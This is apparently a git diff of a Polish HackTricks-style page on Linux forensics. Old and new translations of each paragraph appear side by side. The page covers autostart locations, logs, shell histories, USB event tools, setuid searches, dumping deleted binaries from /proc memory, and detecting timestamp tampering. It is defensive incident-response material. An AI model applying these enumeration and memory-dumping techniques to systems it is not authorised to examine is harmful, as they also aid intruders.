* **Systemy oparte na Debianie**: `dpkg --verify` do wstępnej weryfikacji, a następnie `debsums | grep -v "OK$"` (po zainstalowaniu `debsums` za pomocą `apt-get install debsums`), aby zidentyfikować wszelkie problemy.
|
||||
|
||||
### Detektory oprogramowania złośliwego/rootkitów
|
||||
### Detektory złośliwego oprogramowania/rootkitów
|
||||
|
||||
Przeczytaj następną stronę, aby dowiedzieć się o narzędziach, które mogą być przydatne do wykrywania oprogramowania złośliwego:
|
||||
Przeczytaj następującą stronę, aby dowiedzieć się o narzędziach, które mogą być przydatne do znajdowania złośliwego oprogramowania:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -180,12 +181,12 @@ Przeczytaj następną stronę, aby dowiedzieć się o narzędziach, które mogą
|
|||
|
||||
## Wyszukiwanie zainstalowanych programów
|
||||
|
||||
Aby skutecznie wyszukiwać zainstalowane programy zarówno w systemach Debian, jak i RedHat, rozważ wykorzystanie logów systemowych i baz danych w połączeniu z ręcznymi sprawdzeniami w powszechnych katalogach.
|
||||
Aby skutecznie wyszukiwać zainstalowane programy zarówno w systemach Debian, jak i RedHat, rozważ wykorzystanie dzienników systemowych i baz danych obok ręcznych kontroli w typowych katalogach.
|
||||
|
||||
* Dla systemu Debian, sprawdź _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_, aby uzyskać szczegóły dotyczące instalacji pakietów, używając `grep` do filtrowania konkretnych informacji.
|
||||
* Użytkownicy RedHat mogą zapytać bazę danych RPM za pomocą `rpm -qa --root=/mntpath/var/lib/rpm`, aby wyświetlić zainstalowane pakiety.
|
||||
* Dla Debiana sprawdź _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_, aby uzyskać szczegóły dotyczące instalacji pakietów, używając `grep` do filtrowania konkretnych informacji.
|
||||
* Użytkownicy RedHat mogą zapytać bazę danych RPM za pomocą `rpm -qa --root=/mntpath/var/lib/rpm`, aby wylistować zainstalowane pakiety.
|
||||
|
||||
Aby odkryć oprogramowanie zainstalowane ręcznie lub poza tymi menedżerami pakietów, przejrzyj katalogi takie jak _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ i _**`/sbin`**_. Połącz listy katalogów z poleceniami specyficznymi dla systemu, aby zidentyfikować pliki wykonywalne niepowiązane z znanymi pakietami, zwiększając tym samym skuteczność wyszukiwania wszystkich zainstalowanych programów.
|
||||
Aby odkryć oprogramowanie zainstalowane ręcznie lub poza tymi menedżerami pakietów, przeszukaj katalogi takie jak _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ i _**`/sbin`**_. Połącz listy katalogów z poleceniami specyficznymi dla systemu, aby zidentyfikować pliki wykonywalne, które nie są związane z znanymi pakietami, co zwiększy twoje możliwości wyszukiwania wszystkich zainstalowanych programów.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -204,20 +205,20 @@ find / -type f -executable | grep <something>
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować** przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Odzyskiwanie Usuniętych Wykonywalnych Binaries
|
||||
## Odzyskiwanie usuniętych działających binarek
|
||||
|
||||
Wyobraź sobie proces, który został uruchomiony z /tmp/exec, a następnie usunięty. Jest możliwe jego wydobycie.
|
||||
Wyobraź sobie proces, który został uruchomiony z /tmp/exec, a następnie usunięty. Możliwe jest jego wyodrębnienie.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Sprawdź lokalizacje automatycznego uruchamiania
|
||||
## Inspekcja lokalizacji autostartu
|
||||
|
||||
### Zaplanowane zadania
|
||||
```bash
|
||||
|
@ -235,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Usługi
|
||||
|
||||
Ścieżki, w których złośliwe oprogramowanie może zostać zainstalowane jako usługa:
|
||||
Ścieżki, w których złośliwe oprogramowanie może być zainstalowane jako usługa:
|
||||
|
||||
- **/etc/inittab**: Wywołuje skrypty inicjalizacyjne, takie jak rc.sysinit, kierując dalej do skryptów uruchamiania.
|
||||
- **/etc/rc.d/** i **/etc/rc.boot/**: Zawierają skrypty do uruchamiania usług, przy czym te drugie można znaleźć w starszych wersjach systemu Linux.
|
||||
- **/etc/init.d/**: Używane w niektórych wersjach systemu Linux, takich jak Debian, do przechowywania skryptów uruchamiania.
|
||||
- Usługi mogą być aktywowane również za pomocą **/etc/inetd.conf** lub **/etc/xinetd/**, w zależności od wariantu systemu Linux.
|
||||
- **/etc/systemd/system**: Katalog dla skryptów systemowych i menedżera usług.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Zawiera odnośniki do usług, które powinny zostać uruchomione w wielu poziomach uruchamiania.
|
||||
- **/usr/local/etc/rc.d/**: Dla niestandardowych lub zewnętrznych usług.
|
||||
- **\~/.config/autostart/**: Dla aplikacji uruchamianych automatycznie dla konkretnego użytkownika, co może być miejscem ukrycia dla złośliwego oprogramowania ukierunkowanego na użytkownika.
|
||||
- **/lib/systemd/system/**: Pliki jednostek domyślnych dla całego systemu dostarczane przez zainstalowane pakiety.
|
||||
* **/etc/inittab**: Wywołuje skrypty inicjalizacyjne, takie jak rc.sysinit, kierując dalej do skryptów uruchamiających.
|
||||
* **/etc/rc.d/** i **/etc/rc.boot/**: Zawierają skrypty do uruchamiania usług, z których drugi znajduje się w starszych wersjach Linuksa.
|
||||
* **/etc/init.d/**: Używane w niektórych wersjach Linuksa, takich jak Debian, do przechowywania skryptów uruchamiających.
|
||||
* Usługi mogą być również aktywowane za pomocą **/etc/inetd.conf** lub **/etc/xinetd/**, w zależności od wariantu Linuksa.
|
||||
* **/etc/systemd/system**: Katalog dla skryptów menedżera systemu i usług.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Zawiera linki do usług, które powinny być uruchamiane w trybie wieloużytkownikowym.
|
||||
* **/usr/local/etc/rc.d/**: Dla usług niestandardowych lub firm trzecich.
|
||||
* **\~/.config/autostart/**: Dla aplikacji uruchamiających się automatycznie dla konkretnego użytkownika, które mogą być miejscem ukrycia złośliwego oprogramowania skierowanego na użytkownika.
|
||||
* **/lib/systemd/system/**: Domyślne pliki jednostek w skali systemu dostarczane przez zainstalowane pakiety.
|
||||
|
||||
### Moduły jądra
|
||||
|
||||
Moduły jądra Linux, często wykorzystywane przez złośliwe oprogramowanie jako komponenty rootkitów, są ładowane podczas uruchamiania systemu. Istotne katalogi i pliki dla tych modułów to:
|
||||
Moduły jądra Linuksa, często wykorzystywane przez złośliwe oprogramowanie jako komponenty rootkit, są ładowane podczas uruchamiania systemu. Katalogi i pliki krytyczne dla tych modułów obejmują:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Zawiera moduły dla działającej wersji jądra.
|
||||
- **/etc/modprobe.d**: Zawiera pliki konfiguracyjne do kontrolowania ładowania modułów.
|
||||
- **/etc/modprobe** i **/etc/modprobe.conf**: Pliki dla globalnych ustawień modułów.
|
||||
* **/lib/modules/$(uname -r)**: Zawiera moduły dla uruchamianej wersji jądra.
|
||||
* **/etc/modprobe.d**: Zawiera pliki konfiguracyjne do kontrolowania ładowania modułów.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Pliki dla globalnych ustawień modułów.
|
||||
|
||||
### Inne lokalizacje automatycznego uruchamiania
|
||||
### Inne lokalizacje autostartu
|
||||
|
||||
System Linux wykorzystuje różne pliki do automatycznego uruchamiania programów po zalogowaniu użytkownika, potencjalnie ukrywając złośliwe oprogramowanie:
|
||||
Linux wykorzystuje różne pliki do automatycznego uruchamiania programów po zalogowaniu użytkownika, co może sprzyjać złośliwemu oprogramowaniu:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile** i **/etc/bash.bashrc**: Wykonywane dla każdego logowania użytkownika.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** i **\~/.config/autostart**: Pliki specyficzne dla użytkownika, które są uruchamiane po ich zalogowaniu.
|
||||
- **/etc/rc.local**: Uruchamiany po uruchomieniu wszystkich usług systemowych, oznaczając zakończenie przejścia do środowiska wieloużytkownika.
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Wykonywane dla każdego logowania użytkownika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Pliki specyficzne dla użytkownika, które uruchamiają się po jego logowaniu.
|
||||
* **/etc/rc.local**: Uruchamia się po uruchomieniu wszystkich usług systemowych, co oznacza koniec przejścia do środowiska wieloużytkownikowego.
|
||||
|
||||
## Analiza logów
|
||||
## Sprawdź logi
|
||||
|
||||
Systemy Linux śledzą aktywności użytkowników i zdarzenia systemowe za pomocą różnych plików dziennika. Te dzienniki są kluczowe do identyfikowania nieautoryzowanego dostępu, infekcji złośliwym oprogramowaniem i innych incydentów związanych z bezpieczeństwem. Kluczowe pliki dziennika obejmują:
|
||||
Systemy Linux śledzą aktywności użytkowników i zdarzenia systemowe za pomocą różnych plików logów. Logi te są kluczowe do identyfikacji nieautoryzowanego dostępu, infekcji złośliwym oprogramowaniem i innych incydentów bezpieczeństwa. Kluczowe pliki logów obejmują:
|
||||
|
||||
- **/var/log/syslog** (Debian) lub **/var/log/messages** (RedHat): Zapisują komunikaty i aktywności na poziomie systemu.
|
||||
- **/var/log/auth.log** (Debian) lub **/var/log/secure** (RedHat): Rejestrują próby uwierzytelnienia, udane i nieudane logowania.
|
||||
- Użyj `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` do filtrowania istotnych zdarzeń uwierzytelniania.
|
||||
- **/var/log/boot.log**: Zawiera komunikaty uruchamiania systemu.
|
||||
- **/var/log/maillog** lub **/var/log/mail.log**: Rejestrują aktywności serwera poczty e-mail, przydatne do śledzenia usług związanych z e-mailem.
|
||||
- **/var/log/kern.log**: Przechowuje komunikaty jądra, w tym błędy i ostrzeżenia.
|
||||
- **/var/log/dmesg**: Zawiera komunikaty sterowników urządzeń.
|
||||
- **/var/log/faillog**: Rejestruje nieudane próby logowania, pomagając w dochodzeniach dotyczących naruszeń bezpieczeństwa.
|
||||
- **/var/log/cron**: Rejestruje wykonania zadań cron.
|
||||
- **/var/log/daemon.log**: Śledzi aktywności usług w tle.
|
||||
- **/var/log/btmp**: Dokumentuje nieudane próby logowania.
|
||||
- **/var/log/httpd/**: Zawiera dzienniki błędów i dostępu Apache HTTPD.
|
||||
- **/var/log/mysqld.log** lub **/var/log/mysql.log**: Rejestrują aktywności bazy danych MySQL.
|
||||
- **/var/log/xferlog**: Rejestruje transfery plików FTP.
|
||||
- **/var/log/**: Zawsze sprawdzaj tutaj nieoczekiwane dzienniki.
|
||||
* **/var/log/syslog** (Debian) lub **/var/log/messages** (RedHat): Zapisują wiadomości i aktywności w skali systemu.
|
||||
* **/var/log/auth.log** (Debian) lub **/var/log/secure** (RedHat): Rejestrują próby uwierzytelnienia, udane i nieudane logowania.
|
||||
* Użyj `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, aby filtrować odpowiednie zdarzenia uwierzytelnienia.
|
||||
* **/var/log/boot.log**: Zawiera wiadomości o uruchamianiu systemu.
|
||||
* **/var/log/maillog** lub **/var/log/mail.log**: Logi aktywności serwera pocztowego, przydatne do śledzenia usług związanych z pocztą elektroniczną.
|
||||
* **/var/log/kern.log**: Przechowuje wiadomości jądra, w tym błędy i ostrzeżenia.
|
||||
* **/var/log/dmesg**: Zawiera wiadomości sterowników urządzeń.
|
||||
* **/var/log/faillog**: Rejestruje nieudane próby logowania, co pomaga w dochodzeniach dotyczących naruszeń bezpieczeństwa.
|
||||
* **/var/log/cron**: Logi wykonania zadań cron.
|
||||
* **/var/log/daemon.log**: Śledzi aktywności usług w tle.
|
||||
* **/var/log/btmp**: Dokumentuje nieudane próby logowania.
|
||||
* **/var/log/httpd/**: Zawiera logi błędów i dostępu Apache HTTPD.
|
||||
* **/var/log/mysqld.log** lub **/var/log/mysql.log**: Logi aktywności bazy danych MySQL.
|
||||
* **/var/log/xferlog**: Rejestruje transfery plików FTP.
|
||||
* **/var/log/**: Zawsze sprawdzaj, czy nie ma niespodziewanych logów.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dzienniki systemowe i systemy audytu Linux mogą zostać wyłączone lub usunięte podczas incydentu związanego z włamaniem lub złośliwym oprogramowaniem. Ponieważ dzienniki w systemach Linux zazwyczaj zawierają najbardziej przydatne informacje o działaniach złośliwych, intruzi rutynowo je usuwają. Dlatego podczas analizy dostępnych plików dziennika ważne jest sprawdzenie luk lub nieuporządkowanych wpisów, które mogą wskazywać na usunięcie lub manipulację.
|
||||
Logi systemowe Linuksa i podsystemy audytu mogą być wyłączone lub usunięte w przypadku incydentu naruszenia bezpieczeństwa lub złośliwego oprogramowania. Ponieważ logi w systemach Linux zazwyczaj zawierają jedne z najbardziej użytecznych informacji o złośliwych działaniach, intruzi rutynowo je usuwają. Dlatego, przeglądając dostępne pliki logów, ważne jest, aby szukać luk lub nieuporządkowanych wpisów, które mogą wskazywać na usunięcie lub manipulację.
|
||||
{% endhint %}
|
||||
|
||||
**Linux przechowuje historię poleceń dla każdego użytkownika**, zapisaną w:
|
||||
**Linux utrzymuje historię poleceń dla każdego użytkownika**, przechowywaną w:
|
||||
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
* \~/.bash\_history
|
||||
* \~/.zsh\_history
|
||||
* \~/.zsh\_sessions/\*
|
||||
* \~/.python\_history
|
||||
* \~/.\*\_history
|
||||
|
||||
Ponadto polecenie `last -Faiwx` dostarcza listę logowań użytkowników. Sprawdź go pod kątem nieznanych lub nieoczekiwanych logowań.
|
||||
Ponadto, polecenie `last -Faiwx` dostarcza listę logowań użytkowników. Sprawdź je pod kątem nieznanych lub niespodziewanych logowań.
|
||||
|
||||
Sprawdź pliki, które mogą przyznać dodatkowe uprawnienia:
|
||||
|
||||
- Przejrzyj `/etc/sudoers` w poszukiwaniu nieoczekiwanych uprawnień użytkownika, które mogły zostać przyznane.
|
||||
- Przejrzyj `/etc/sudoers.d/` w poszukiwaniu nieoczekiwanych uprawnień użytkownika, które mogły zostać przyznane.
|
||||
- Sprawdź `/etc/groups`, aby zidentyfikować niezwykłe przynależności do grup lub uprawnienia.
|
||||
- Sprawdź `/etc/passwd`, aby zidentyfikować niezwykłe przynależności do grup lub uprawnienia.
|
||||
* Przejrzyj `/etc/sudoers` w poszukiwaniu nieoczekiwanych uprawnień użytkowników, które mogły zostać przyznane.
|
||||
* Przejrzyj `/etc/sudoers.d/` w poszukiwaniu nieoczekiwanych uprawnień użytkowników, które mogły zostać przyznane.
|
||||
* Zbadaj `/etc/groups`, aby zidentyfikować wszelkie nietypowe członkostwa grupowe lub uprawnienia.
|
||||
* Zbadaj `/etc/passwd`, aby zidentyfikować wszelkie nietypowe członkostwa grupowe lub uprawnienia.
|
||||
|
||||
Niektóre aplikacje generują również swoje własne dzienniki:
|
||||
Niektóre aplikacje również generują własne logi:
|
||||
|
||||
- **SSH**: Sprawdź _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ w poszukiwaniu nieautoryzowanych połączeń zdalnych.
|
||||
- **Pulpit Gnome**: Sprawdź _\~/.recently-used.xbel_ w poszukiwaniu niedawno używanych plików za pomocą aplikacji Gnome.
|
||||
- **Firefox/Chrome**: Sprawdź historię przeglądarki i pobrania w _\~/.mozilla/firefox_ lub _\~/.config/google-chrome_ w poszukiwaniu podejrzanych aktywności.
|
||||
- **VIM**: Przejrzyj _\~/.viminfo_ w poszukiwaniu szczegółów dotyczących użytkowania, takich jak ścieżki dostępu do plików i historia wyszukiwania.
|
||||
- **Open Office**: Sprawdź niedawne dostępy do dokumentów, które mogą wskazywać na skompromitowane pliki.
|
||||
- **FTP/SFTP**: Przejrzyj dzienniki w _\~/.ftp\_history_ lub _\~/.sftp\_history_ w poszukiwaniu transferów plików, które mogą być nieautoryzowane.
|
||||
- **MySQL**: Zbadaj _\~/.mysql\_history_ w poszukiwaniu wykonanych zapytań MySQL, potencjalnie ujawniających nieautoryzowane działania na bazie danych.
|
||||
- **Less**: Analizuj _\~/.lesshst_ w poszukiwaniu historii użytkowania, w tym przeglądanych plików i wykonanych poleceń.
|
||||
- **Git**: Sprawdź _\~/.gitconfig_ i projekt _.git/logs_ w poszukiwaniu zmian w repozytoriach.
|
||||
* **SSH**: Sprawdź _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ w poszukiwaniu nieautoryzowanych połączeń zdalnych.
|
||||
* **Gnome Desktop**: Zajrzyj do _\~/.recently-used.xbel_ w poszukiwaniu ostatnio otwieranych plików za pomocą aplikacji Gnome.
|
||||
* **Firefox/Chrome**: Sprawdź historię przeglądarki i pobierania w _\~/.mozilla/firefox_ lub _\~/.config/google-chrome_ w poszukiwaniu podejrzanych działań.
|
||||
* **VIM**: Przejrzyj _\~/.viminfo_ w poszukiwaniu szczegółów użycia, takich jak ścieżki otwieranych plików i historia wyszukiwania.
|
||||
* **Open Office**: Sprawdź dostęp do ostatnich dokumentów, co może wskazywać na skompromitowane pliki.
|
||||
* **FTP/SFTP**: Przejrzyj logi w _\~/.ftp\_history_ lub _\~/.sftp\_history_ w poszukiwaniu transferów plików, które mogą być nieautoryzowane.
|
||||
* **MySQL**: Zbadaj _\~/.mysql\_history_ w poszukiwaniu wykonanych zapytań MySQL, co może ujawnić nieautoryzowane działania w bazie danych.
|
||||
* **Less**: Analizuj _\~/.lesshst_ w poszukiwaniu historii użycia, w tym przeglądanych plików i wykonanych poleceń.
|
||||
* **Git**: Sprawdź _\~/.gitconfig_ i projekt _.git/logs_ w poszukiwaniu zmian w repozytoriach.
|
||||
|
||||
### Dzienniki USB
|
||||
### Logi USB
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) to niewielkie oprogramowanie napisane w czystym Pythonie 3, które analizuje pliki dziennika systemu Linux (`/var/log/syslog*` lub `/var/log/messages*` w zależności od dystrybucji) w celu tworzenia tabel historii zdarzeń USB.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) to mały program napisany w czystym Pythonie 3, który analizuje pliki logów Linuksa (`/var/log/syslog*` lub `/var/log/messages*`, w zależności od dystrybucji) w celu skonstruowania tabel historii zdarzeń USB.
|
||||
|
||||
Warto **znać wszystkie używane urządzenia USB**, a będzie to bardziej przydatne, jeśli masz autoryzowaną listę urządzeń USB do znalezienia "zdarzeń naruszenia" (użycie urządzeń USB spoza tej listy).
|
||||
Interesujące jest **znalezienie wszystkich używanych USB** i będzie to bardziej przydatne, jeśli masz autoryzowaną listę USB, aby znaleźć "zdarzenia naruszenia" (użycie USB, które nie znajdują się na tej liście).
|
||||
|
||||
### Instalacja
|
||||
```bash
|
||||
|
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Więcej przykładów i informacji znajdziesz na githubie: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
Więcej przykładów i informacji w repozytorium github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Korzystaj z [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzacji prac** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Przegląd Kont Użytkowników i Aktywności Logowania
|
||||
## Przeglądaj konta użytkowników i aktywności logowania
|
||||
|
||||
Sprawdź pliki _**/etc/passwd**_, _**/etc/shadow**_ oraz **dzienniki bezpieczeństwa** pod kątem nietypowych nazw lub kont utworzonych i/lub używanych w pobliżu znanych nieautoryzowanych zdarzeń. Sprawdź również możliwe ataki brute-force na sudo.\
|
||||
Dodatkowo, sprawdź pliki takie jak _**/etc/sudoers**_ i _**/etc/groups**_ pod kątem nieoczekiwanych uprawnień nadanych użytkownikom.\
|
||||
Na koniec, poszukaj kont bez **hasła** lub z łatwo **odgadnialnymi** hasłami.
|
||||
Sprawdź _**/etc/passwd**_, _**/etc/shadow**_ oraz **dzienniki zabezpieczeń** w poszukiwaniu nietypowych nazw lub kont utworzonych i/lub używanych w bliskiej odległości od znanych nieautoryzowanych zdarzeń. Sprawdź również możliwe ataki brute-force na sudo.\
|
||||
Ponadto sprawdź pliki takie jak _**/etc/sudoers**_ i _**/etc/groups**_ w poszukiwaniu nieoczekiwanych uprawnień przyznanych użytkownikom.\
|
||||
Na koniec poszukaj kont z **brakującymi hasłami** lub **łatwymi do odgadnięcia** hasłami.
|
||||
|
||||
## Badanie Systemu Plików
|
||||
## Zbadaj system plików
|
||||
|
||||
### Analiza Struktur Systemu Plików w Śledztwie w Sprawie Malware
|
||||
### Analiza struktur systemu plików w badaniach nad złośliwym oprogramowaniem
|
||||
|
||||
Podczas badania incydentów związanych z malware, struktura systemu plików jest kluczowym źródłem informacji, ujawniając zarówno sekwencję zdarzeń, jak i zawartość malware. Autorzy malware rozwijają jednak techniki utrudniające tę analizę, takie jak modyfikowanie znaczników czasowych plików lub unikanie systemu plików do przechowywania danych.
|
||||
Podczas badania incydentów związanych z złośliwym oprogramowaniem, struktura systemu plików jest kluczowym źródłem informacji, ujawniającym zarówno sekwencję zdarzeń, jak i zawartość złośliwego oprogramowania. Jednak autorzy złośliwego oprogramowania opracowują techniki, aby utrudnić tę analizę, takie jak modyfikowanie znaczników czasowych plików lub unikanie systemu plików do przechowywania danych.
|
||||
|
||||
Aby przeciwdziałać tym antyforensycznym metodom, istotne jest:
|
||||
Aby przeciwdziałać tym metodom antyforensycznym, istotne jest:
|
||||
|
||||
* **Przeprowadzenie dokładnej analizy chronologicznej** za pomocą narzędzi takich jak **Autopsy** do wizualizacji chronologii zdarzeń lub `mactime` z **Sleuth Kit** do uzyskania szczegółowych danych chronologicznych.
|
||||
* **Badanie nieoczekiwanych skryptów** w $PATH systemu, które mogą zawierać skrypty powłoki lub PHP używane przez atakujących.
|
||||
* **Sprawdzenie `/dev` pod kątem nietypowych plików**, ponieważ tradycyjnie zawiera on pliki specjalne, ale może zawierać pliki związane z malware.
|
||||
* **Wyszukiwanie ukrytych plików lub katalogów** o nazwach ".. " (kropka kropka spacja) lub "..^G" (kropka kropka control-G), które mogą ukrywać złośliwe treści.
|
||||
* **Identyfikacja plików setuid root** za pomocą polecenia: `find / -user root -perm -04000 -print` To znajduje pliki z podwyższonymi uprawnieniami, które mogą być wykorzystane przez atakujących.
|
||||
* **Sprawdzenie znaczników czasu usuwania** w tabelach inode, aby zauważyć masowe usuwanie plików, co może wskazywać na obecność rootkitów lub trojanów.
|
||||
* **Sprawdzenie kolejnych inode'ów** w poszukiwaniu pobliskich złośliwych plików po zidentyfikowaniu jednego, ponieważ mogły zostać umieszczone razem.
|
||||
* **Sprawdzenie powszechnych katalogów binarnych** (_/bin_, _/sbin_) pod kątem niedawno zmodyfikowanych plików, ponieważ mogły zostać zmienione przez malware.
|
||||
* **Przeprowadzenie dokładnej analizy chronologicznej** przy użyciu narzędzi takich jak **Autopsy** do wizualizacji chronologii zdarzeń lub `mactime` z **Sleuth Kit** do szczegółowych danych chronologicznych.
|
||||
* **Zbadanie nieoczekiwanych skryptów** w $PATH systemu, które mogą obejmować skrypty shell lub PHP używane przez atakujących.
|
||||
* **Sprawdzenie `/dev` pod kątem nietypowych plików**, ponieważ tradycyjnie zawiera pliki specjalne, ale może zawierać pliki związane z złośliwym oprogramowaniem.
|
||||
* **Poszukiwanie ukrytych plików lub katalogów** o nazwach takich jak ".. " (kropka kropka spacja) lub "..^G" (kropka kropka kontrola-G), które mogą ukrywać złośliwą zawartość.
|
||||
* **Identyfikacja plików setuid root** za pomocą polecenia: `find / -user root -perm -04000 -print` To znajduje pliki z podwyższonymi uprawnieniami, które mogą być nadużywane przez atakujących.
|
||||
* **Przeglądanie znaczników czasowych usunięcia** w tabelach inode, aby dostrzec masowe usunięcia plików, co może wskazywać na obecność rootkitów lub trojanów.
|
||||
* **Inspekcja kolejnych inode** w poszukiwaniu pobliskich złośliwych plików po zidentyfikowaniu jednego, ponieważ mogły zostać umieszczone razem.
|
||||
* **Sprawdzenie wspólnych katalogów binarnych** (_/bin_, _/sbin_) pod kątem niedawno zmodyfikowanych plików, ponieważ mogły zostać zmienione przez złośliwe oprogramowanie.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -375,16 +376,16 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Zauważ, że **atakujący** może **zmodyfikować** **czas**, aby **pliki wydawały się** **legitymacyjne**, ale nie może zmienić **inode**. Jeśli zauważysz, że **plik wskazuje**, że został utworzony i zmodyfikowany w **tym samym czasie** co reszta plików w tym samym folderze, ale **inode** jest **niespodziewanie większy**, to **znaczy, że znaczniki czasu tego pliku zostały zmodyfikowane**.
|
||||
Zauważ, że **atakujący** może **zmodyfikować** **czas**, aby **pliki wyglądały** **na legalne**, ale **nie może** zmodyfikować **inode**. Jeśli odkryjesz, że **plik** wskazuje, że został utworzony i zmodyfikowany w **tym samym czasie** co pozostałe pliki w tym samym folderze, ale **inode** jest **niespodziewanie większy**, to **znaczniki czasu tego pliku zostały zmodyfikowane**.
|
||||
{% endhint %}
|
||||
|
||||
## Porównywanie plików różnych wersji systemu plików
|
||||
## Porównaj pliki różnych wersji systemu plików
|
||||
|
||||
### Podsumowanie porównania wersji systemu plików
|
||||
|
||||
Aby porównać wersje systemu plików i zlokalizować zmiany, używamy uproszczonych poleceń `git diff`:
|
||||
Aby porównać wersje systemu plików i zidentyfikować zmiany, używamy uproszczonych poleceń `git diff`:
|
||||
|
||||
* **Aby znaleźć nowe pliki**, porównaj dwie katalogi:
|
||||
* **Aby znaleźć nowe pliki**, porównaj dwa katalogi:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
|
@ -392,46 +393,46 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
|||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
* **Wykrywanie usuniętych plików**:
|
||||
* **Aby wykryć usunięte pliki**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Opcje filtrowania** (`--diff-filter`) pomagają zawęzić wyniki do konkretnych zmian, takich jak dodane (`A`), usunięte (`D`) lub zmodyfikowane (`M`) pliki.
|
||||
* **Opcje filtru** (`--diff-filter`) pomagają zawęzić zmiany do konkretnych, takich jak dodane (`A`), usunięte (`D`) lub zmodyfikowane (`M`) pliki.
|
||||
* `A`: Dodane pliki
|
||||
* `C`: Skopiowane pliki
|
||||
* `D`: Usunięte pliki
|
||||
* `M`: Zmodyfikowane pliki
|
||||
* `R`: Zmienione nazwy plików
|
||||
* `T`: Zmiany typu (np. plik na symlink)
|
||||
* `U`: Niescalone pliki
|
||||
* `U`: Niezłączone pliki
|
||||
* `X`: Nieznane pliki
|
||||
* `B`: Uszkodzone pliki
|
||||
|
||||
## Referencje
|
||||
## Odniesienia
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
